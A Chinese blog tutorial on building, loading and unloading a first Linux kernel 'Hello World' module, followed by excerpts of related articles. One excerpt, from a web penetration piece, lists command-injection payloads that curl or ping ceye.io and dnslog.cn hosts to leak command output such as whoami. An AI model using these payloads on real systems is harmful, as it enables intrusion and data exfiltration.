当前位置: 首页 > news >正文

Linux驱动开发—编写第一个最简单的驱动模块

文章目录

  • 开发驱动准备工作
    • 1.正常运行的Linux系统的开发板
    • 2.内核源码树
    • 3.nfs挂载的rootfs
    • 4.得心趁手的IDE
  • 第一个Hello world 驱动程序
    • 常见模块的操作命令
      • 模块的初始化和清理
      • 模块的版本信息
      • 模块中的各种宏
    • 示例Hello World代码
      • printk函数解析
    • 使用MakeFile编译驱动模块
    • 使用insmod加载模块

开发驱动准备工作

1.正常运行的Linux系统的开发板

开发板中的Linux的Image必须是自己编译的,不能是别人编译的。笔者用的是IMX8QM的开发板,任何开发板都是一样的流程。

2.内核源码树

其实就是一个经过配置编译之后的内核源码。编译驱动的过程中就要用到内核源码树。编写代码的时候,需要用到系统内核的头文件,因此一定要有内核源码,

3.nfs挂载的rootfs

尽管内核是linux的核心,但文件却是**用户与操作系统交互所采用的主要工具。**这对linux来说尤其如此,这是因为在UNIX传统中,它使用文件I/O机制管理硬件设备和数据文件。根文件系统首先是一种文件系统,该文件系统不仅具有普通文件系统的存储数据文件的功能,但是相对于普通的文件系统,它的特殊之处在于,它是内核启动时所挂载(mount)的第一个文件系统,内核代码的映像文件保存在根文件系统中,系统引导启动程序会在根文件系统挂载之后从中把一些初始化脚本(如rcS,inittab)和服务加载到内存中去运行。我们要明白文件系统和内核是完全独立的两个部分。在嵌入式中移植的内核下载到开发板上,是没有办法真正的启动Linux操作系统的,会出现无法加载文件系统的错误。一套linux体系,只有内核本身是不能工作的,必须要rootfs(上的etc目录下的配置文件、/bin /sbin等目录下的shell命令,还有/lib目录下的库文件等···)相配合才能工作。Linux启动时,第一个必须挂载的是根文件系统;若系统不能从指定设备上挂载根文件系统,则系统会出错而退出启动。成功之后可以自动或手动挂载其他的文件系统。因此,一个系统中可以同时存在不同的文件系统。在 Linux 中将一个文件系统与一个存储设备关联起来的过程称为挂载(mount)。使用 mount 命令将一个文件系统附着到当前文件系统层次结构中(根)。在执行挂装时,要提供文件系统类型、文件系统和一个挂装点。根文件系统被挂载到根目录下“/”上后,在根目录下就有根文件系统的各个目录,文件:/bin /sbin /mnt等,再将其他分区挂接到/mnt目录上,/mnt目录下就有这个分区的各个目录和文件。

4.得心趁手的IDE

这里使用的是Vscode,配置过程如下:

在Ubuntu桌面新建文件夹

mkdir 8qm_driver

用Vscode打开新建的文件夹,可以使用在新建的文件夹内使用终端命令

code .

配置头文件目录

使用快捷键 Ctrl+Shift+P 选择编辑配置

在这里插入图片描述

输入以下内容

{"configurations": [{"name": "Linux","includePath": ["/home/marxist/8qm源码/imx_4.14.98_2.0.0_ga/include","${workspaceFolder}/**"],"defines": ["__GNUC__","__KERNEL__"],"compilerPath": "/usr/bin/gcc","cStandard": "c17","cppStandard": "gnu++14","intelliSenseMode": "linux-gcc-arm64"}],"version": 4
}

注意:在includePath 块中,换成你的Linux内核源码的路径,一定要是和你的目标机的源码一致

比如我的目标机的Linux版本为 4.14.98

在这里插入图片描述

那么编译的时候内核源码也为4.14.98
在这里插入图片描述

当年初学驱动的时候,就因为版本不一致,dmesg一直报错,提示vermagic不一致,查了一天资料才发现这个问题,┭┮﹏┭┮

第一个Hello world 驱动程序

常见模块的操作命令

在Linux系统中,管理内核模块的常见命令包括lsmodinsmodrmmodmodinfo等。这些命令用于列出、加载、卸载和查看内核模块的详细信息。

  1. lsmod

    • 作用:列出当前加载到内核中的所有模块。
    • 用法:直接运行lsmod命令,无需参数。
    • 输出:模块名称、使用次数及相关模块。
    lsmod
    
  2. insmod

    • 作用:加载已编译的内核模块。
    • 用法insmod <module_file.ko>
    • 注意:加载时需要提供模块的完整路径。常用于开发阶段,手动加载模块测试。
    sudo insmod my_driver.ko
    
  3. modinfo

    • 作用:显示模块的详细信息,包括依赖、版本信息、许可证等。
    • 用法modinfo <module_file.ko>
    • 输出示例
      • depends:显示模块依赖的其他模块。
      • vermagic:显示模块编译时的内核版本和相关信息。
    modinfo my_driver.ko
    
  4. rmmod

    • 作用:卸载已加载的模块。
    • 用法rmmod <module_name>
    • 注意:模块名称不带文件扩展名.ko,卸载时只需提供模块名。
    sudo rmmod my_driver
    

模块的初始化和清理

模块源代码通常使用module_init宏声明初始化函数。这个宏指定的函数在模块加载时(使用insmod命令)自动调用,例如:

static int __init chrdev_init(void)
{printk(KERN_INFO "Initializing character device\n");return 0;
}module_init(chrdev_init);

module_init的作用是将chrdev_init函数与insmod命令绑定。当运行insmod时,这个函数被调用。初始化函数中的输出通常使用printk打印,可以通过dmesg命令查看内核消息。

模块的版本信息

  • 内核模块的版本信息由vermagic字段表示。vermagic包含了内核版本号、编译器版本等信息。加载模块时,vermagic必须与当前运行的内核版本一致,否则insmod会失败。这是为了确保模块与内核的兼容性和系统的稳定性。

模块中的各种宏

  1. MODULE_LICENSE

    • 作用:声明模块的许可证类型。常见的值包括"GPL"(开源)和"Proprietary"(私有)。
    • 示例MODULE_LICENSE("GPL");
    • 注意:使用GPL许可证表示模块遵循开源协议,加载时不会受到限制。
  2. MODULE_AUTHOR

    • 作用:声明模块的作者信息。
    • 示例MODULE_AUTHOR("Author Name");
  3. module_init 和 module_exit

    • 作用module_init宏用于指定模块的初始化函数,module_exit宏用于指定模块的清理函数。

    • 示例

      module_init(chrdev_init);
      module_exit(chrdev_exit);
      
  4. __init 和 __exit

    • 作用:这些宏用于标记初始化和清理函数。__init标记的函数在模块加载后被释放,以节省内存。__exit标记的函数在模块卸载时调用。

    • 示例

      static int __init chrdev_init(void)
      {printk(KERN_INFO "Initializing character device\n");return 0;
      }static void __exit chrdev_exit(void)
      {printk(KERN_INFO "Exiting character device\n");
      }
      

示例Hello World代码

新建一个kernel_test.c

#include <linux/init.h>
#include <linux/module.h>//在模块加载到内核程序中被执行一次
int __init test_init(void){printk("Hello World\n");return 0;
}
//在模块从内核驱动中卸载时执行一次
void __exit test_exit(void)
{printk("Goodbye World\n");}
module_init(test_init);		//注册此模块加载的回调函数
module_exit(test_exit);		//注册此模块卸载的回调函数
MODULE_LICENSE("GPL");		//声明遵循协议

printk函数解析

(1)printk在内核源码中用来打印信息的函数,用法和printf非常相似。

(2)printk和printf最大的差别:printf是C库函数,是在应用层编程中使用的,不能在linux内核源代码中使用;printk是linux内核源代码中自己封装出来的一个打印函数,是内核源码中的一个普通函数,只能在内核源码范围内使用,不能在应用编程中使用。

(3)printk相比printf来说还多了个:打印级别的设置。printk的打印级别是用来控制printk打印的这条信息是否在终端上显示的。应用程序中的调试信息要么全部打开要么全部关闭,一般用条件编译来实现(DEBUG宏),但是在内核中,因为内核非常庞大,打印信息非常多,有时候整体调试内核时打印信息要么太多找不到想要的要么一个没有没法调试。所以才有了打印级别这个概念。

(4)操作系统的命令行中也有一个打印信息级别属性,值为0-7。当前操作系统中执行printk的时候会去对比printk中的打印级别和我的命令行中设置的打印级别,小于我的命令行设置级别的信息会被放行打印出来,大于的就被拦截的。譬如我的ubuntu中的打印级别默认是4,那么printk中设置的级别比4小的就能打印出来,比4大的就不能打印出来。

(5)ubuntu中这个printk的打印级别控制没法实践,ubuntu中不管你把级别怎么设置都不能直接打印出来,必须dmesg命令去查看

使用MakeFile编译驱动模块

在源码同级别目录新建一个MakeFile文件,内容如下:

obj-m += kernel_test.o
all:make -C /home/marxist/8qm源码/imx_4.14.98_2.0.0_ga M=$(PWD) modules
clean:make -C /home/marxist/8qm源码/imx_4.14.98_2.0.0_ga M=$(PWD) clean

(1)KERN_DIR,变量的值就是我们用来编译这个模块的内核源码树的目录

(2)obj-m += kernel_test.o,这一行就表示我们要将kernel_test.c文件编译成一个模块

(3)make -C $(KERN_DIR) M=pwd modules 这个命令用来实际编译模块,工作原理就是:利用make -C进入到我们指定的内核源码树目录下,然后在源码目录树下借用内核源码中定义的模块编译规则去编译这个模块,编译完成后把生成的文件还拷贝到当前目录下,完成编译。

(4)make clean ,用来清除编译痕迹

模块的makefile非常简单,本身并不能完成模块的编译,而是通过make -C进入到内核源码树下借用内核源码的体系来完成模块的编译链接的,这个Makefile本身是非常模式化的,3和4 部分是永远不用动的,只有1和2需要动。1是内核源码树的目录,必须根据自己的编译环境来调整

保存文件之后,在MakeFile的同级目录,直接执行 make命令即可

成功之后,出现很多的文件,只有ko文件,才是最终能够被加载进内核的模块,其余的都是中间编译连接生成的文件

在这里插入图片描述

使用insmod加载模块

将编译好的模块传输到目标机器上 使用insmod加载,成功之后,使用dmesg命令可以查看打印的信息

在这里插入图片描述

使用rmmod命令可以卸载模块,同时执行exit函数

在这里插入图片描述

使用modinfo 查看模块信息

在这里插入图片描述

至此,第一个Hello world 驱动就编写成功了

相关文章:

Linux驱动开发—编写第一个最简单的驱动模块

文章目录 开发驱动准备工作1.正常运行的Linux系统的开发板2.内核源码树3.nfs挂载的rootfs4.得心趁手的IDE 第一个Hello world 驱动程序常见模块的操作命令模块的初始化和清理模块的版本信息模块中的各种宏 示例Hello World代码printk函数解析 使用MakeFile编译驱动模块使用insm…...

科普文:微服务之Spring Cloud 组件API网关Gateway

API网关是一个服务器&#xff0c;是系统的唯一入口。从面向对象设计的角度看&#xff0c;它与外观模式类似。API网关封装了系统内部架构&#xff0c;为每个客户端提供一个定制的API。它可能还具有其它职责&#xff0c;如身份验证、监控、负载均衡、缓存、请求分片与管理、静态响…...

Kubernetes中的CRI、CNI与CSI:深入理解云原生存储、网络与容器运行时

引言 随着云原生技术的飞速发展&#xff0c;Kubernetes&#xff08;简称K8s&#xff09;作为云原生应用的核心调度平台&#xff0c;其重要性日益凸显。K8s通过开放一系列接口&#xff0c;实现了高度的可扩展性和灵活性&#xff0c;其中CRI&#xff08;Container Runtime Inter…...

【数据结构】二叉搜索树(Java + 链表实现)

Hi~&#xff01;这里是奋斗的明志&#xff0c;很荣幸您能阅读我的文章&#xff0c;诚请评论指点&#xff0c;欢迎欢迎 ~~ &#x1f331;&#x1f331;个人主页&#xff1a;奋斗的明志 &#x1f331;&#x1f331;所属专栏&#xff1a;数据结构、LeetCode专栏 &#x1f4da;本系…...

java Brotli压缩算法实现压缩、解压缩

在Java中实现Brotli压缩和解压缩&#xff0c;你可以使用org.brotlienc和org.brotlidec包中的类。以下是压缩和解压缩的基本步骤和示例代码&#xff1a; 压缩文件 创建FileInputStream以读取原始文件。创建BrotliOutputStream以写入压缩数据。读取原始文件并写入压缩流。关闭流…...

centos7.9 安装java相关组件

10.23.15.71 - 78 账户 admin IMES1 改为root再操作 $ sudo su root ($ su root) 下载包 /home/admin/download $ mkdir download $ chown -R admin:admin /home/admin/download 安装包 /data/local $ tar -sxvf jdk-11.0.23_linux-x64_bin.tar.gz -C /data/local $ mv jdk…...

在IntelliJ IDEA中,快速找到控制类(Controller类)中所有的方法,可以通过以下几种方式实现:

在IntelliJ IDEA中&#xff0c;快速找到控制类&#xff08;Controller类&#xff09;中所有的方法&#xff0c;可以通过以下几种方式实现&#xff1a; 1. 使用快捷键 Alt 7 操作说明&#xff1a;在IDEA中&#xff0c;按下Alt 7可以快速打开“Structure”窗口&#xff08;在…...

ChatGPT的强大之处:探究及与国内产品的对比

论文题目&#xff1a;ChatGPT的强大之处&#xff1a;探究及与国内产品的对比 摘要 ChatGPT作为一种广泛应用的人工智能语言模型&#xff0c;自发布以来迅速走红全球。本文旨在探讨ChatGPT是否真如其流行程度所示那般强大&#xff0c;并对比其与国内类似产品的优劣&#xff0c;深…...

MySql审计平台

安装方式&#xff1a; cookieY/Yearning: &#x1f433; A most popular sql audit platform for mysql (github.com) 对数据库的一系列后台操作 AI助手 - AI助手提供SQL优化建议&#xff0c;帮助用户优化SQL语句&#xff0c;以获得更好的性能。同时AI助手还提供文本到SQL的…...

深度学习6--深度神经网络

1.VGG网络 在图像分 类这个领域中&#xff0c;深度卷积网络一般由卷积模块和全连接模块组成。 (1)卷积模块包含卷积层、池化层、Dropout 层、激活函数等。普遍认为&#xff0c;卷积模块是对 图像特征的提取&#xff0c;并不是对图像进行分类。 (2)全连接模块跟在卷积模块之后&…...

有了Power BI还需要深入学习Excel图表制作吗?

Power BI和Excel都是微软公司的产品&#xff0c;但它们在数据分析和可视化方面有着不同的定位和功能。 Power BI是一个强大的商业分析工具&#xff0c;它提供了数据集成、数据建模、报告和仪表板的创建等功能。Power BI 特别适合处理大量数据&#xff0c;并且可以连接到多种数…...

WEB渗透Web突破篇-命令执行

命令执行 >curl http://0ox095.ceye.io/whoami >ping whoami.b182oj.ceye.io >ping %CD%.lfofz7.dnslog.cn & cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 &…...

【MYSQL】表操作

目录 查看当前数据库含有表查看表结构创建表插入&#xff08;新增create&#xff09;查询&#xff08;retrieve&#xff09;全列查询指定列查询查询列是表达式别名查询(as)去重查询(distinct)排序查询(order by)条件查询(where)比较/逻辑运算符使用 分页查询(limit) 一条语句各…...

破解USB设备通讯协议实现自定义软件控制的步骤与方法

在设备和计算机之间通过USB进行通讯的情况下&#xff0c;厂家提供的软件可以控制设备&#xff0c;但没有提供任何其他资料和支持&#xff0c;这种情况下&#xff0c;若希望自行开发软件来实现同样的功能&#xff0c;可以通过以下步骤破解通讯协议并开发自定义程序。 1. 捕获US…...

FFmpeg源码:av_init_packet、get_packet_defaults、av_packet_alloc函数分析

一、av_init_packet函数 av_init_packet函数定义在FFmpeg源码&#xff08;本文演示用的FFmpeg源码版本为7.0.1&#xff09;的源文件libavcodec/avpacket.c中&#xff1a; /*** Initialize optional fields of a packet with default values.** Note, this does not touch the…...

HarmonyOS应用开发知识地图

HarmonyOS 应用开发旅程 HarmonyOS 应用开发旅程 PS&#xff1a;Xmind原文件可以直接跳转官方具体文档地址&#xff0c;如需要原文件请联系&#xff1a;DYZZ198 01.准备与学习 学习 HarmonyOS 的基本概念和架构,搭建好所需的开发工具和环境,了解开发规范和最佳实践 了解 H…...

了解反向代理如何工作吗?

在当今数字化时代&#xff0c;网络通讯扮演着重要的角色&#xff0c;而代理技术为网络通讯提供了更多的灵活性和安全性。作为两种重要的代理技术&#xff0c;代理服务器和反向代理的运行原理和用途各有不同。本文将重点介绍反向代理的运行原理&#xff0c;深入探讨其在网络通讯…...

ASCII码对照表

常用 ASCII 码详细对照表 &#xff08;0—255&#xff09; 第 0&#xff5e;32 号及第 127 号(共 34 个)是控制字符或通讯专用字符&#xff0c;如控制符&#xff1a;LF &#xff08;换行&#xff09;、CR&#xff08;回车&#xff09;、FF&#xff08;换页&#xff09;、DEL&am…...

Git的一些简单使用

下列内容适用于git初学者&#xff0c;从创建本地git仓库到提交的一个基本过程1. 1.创建git仓库 在想创建git仓库的路径下打开git bash&#xff0c;输入以下命令行创建仓库&#xff08;一般来说&#xff0c;我觉得直接在code workspace得地方创建git仓库就可以了&#xff0c;这…...

C++基础语法(下)

前言 上一篇文章介绍了部分的引用&#xff0c;这里主要对引用的特点&#xff0c;引用与指针区别的进行区分&#xff0c;const引用权限的使用&#xff0c;内联函数的讲解。 引用特性 引用在定义时必须进行初始化一个变量可以有多个引用引用一旦引用一个实体&#xff0c;再不能…...

k8s从入门到放弃之Ingress七层负载

k8s从入门到放弃之Ingress七层负载 在Kubernetes&#xff08;简称K8s&#xff09;中&#xff0c;Ingress是一个API对象&#xff0c;它允许你定义如何从集群外部访问集群内部的服务。Ingress可以提供负载均衡、SSL终结和基于名称的虚拟主机等功能。通过Ingress&#xff0c;你可…...

循环冗余码校验CRC码 算法步骤+详细实例计算

通信过程&#xff1a;&#xff08;白话解释&#xff09; 我们将原始待发送的消息称为 M M M&#xff0c;依据发送接收消息双方约定的生成多项式 G ( x ) G(x) G(x)&#xff08;意思就是 G &#xff08; x ) G&#xff08;x) G&#xff08;x) 是已知的&#xff09;&#xff0…...

python/java环境配置

环境变量放一起 python&#xff1a; 1.首先下载Python Python下载地址&#xff1a;Download Python | Python.org downloads ---windows -- 64 2.安装Python 下面两个&#xff0c;然后自定义&#xff0c;全选 可以把前4个选上 3.环境配置 1&#xff09;搜高级系统设置 2…...

(二)TensorRT-LLM | 模型导出(v0.20.0rc3)

0. 概述 上一节 对安装和使用有个基本介绍。根据这个 issue 的描述&#xff0c;后续 TensorRT-LLM 团队可能更专注于更新和维护 pytorch backend。但 tensorrt backend 作为先前一直开发的工作&#xff0c;其中包含了大量可以学习的地方。本文主要看看它导出模型的部分&#x…...

现代密码学 | 椭圆曲线密码学—附py代码

Elliptic Curve Cryptography 椭圆曲线密码学&#xff08;ECC&#xff09;是一种基于有限域上椭圆曲线数学特性的公钥加密技术。其核心原理涉及椭圆曲线的代数性质、离散对数问题以及有限域上的运算。 椭圆曲线密码学是多种数字签名算法的基础&#xff0c;例如椭圆曲线数字签…...

Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决

Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决 问题背景 在一个基于 Spring Cloud Gateway WebFlux 构建的微服务项目中&#xff0c;新增了一个本地验证码接口 /code&#xff0c;使用函数式路由&#xff08;RouterFunction&#xff09;和 Hutool 的 Circle…...

安卓基础(aar)

重新设置java21的环境&#xff0c;临时设置 $env:JAVA_HOME "D:\Android Studio\jbr" 查看当前环境变量 JAVA_HOME 的值 echo $env:JAVA_HOME 构建ARR文件 ./gradlew :private-lib:assembleRelease 目录是这样的&#xff1a; MyApp/ ├── app/ …...

使用Matplotlib创建炫酷的3D散点图:数据可视化的新维度

文章目录 基础实现代码代码解析进阶技巧1. 自定义点的大小和颜色2. 添加图例和样式美化3. 真实数据应用示例实用技巧与注意事项完整示例(带样式)应用场景在数据科学和可视化领域,三维图形能为我们提供更丰富的数据洞察。本文将手把手教你如何使用Python的Matplotlib库创建引…...

MFC 抛体运动模拟:常见问题解决与界面美化

在 MFC 中开发抛体运动模拟程序时,我们常遇到 轨迹残留、无效刷新、视觉单调、物理逻辑瑕疵 等问题。本文将针对这些痛点,详细解析原因并提供解决方案,同时兼顾界面美化,让模拟效果更专业、更高效。 问题一:历史轨迹与小球残影残留 现象 小球运动后,历史位置的 “残影”…...

Oracle11g安装包

Oracle 11g安装包 适用于windows系统&#xff0c;64位 下载路径 oracle 11g 安装包...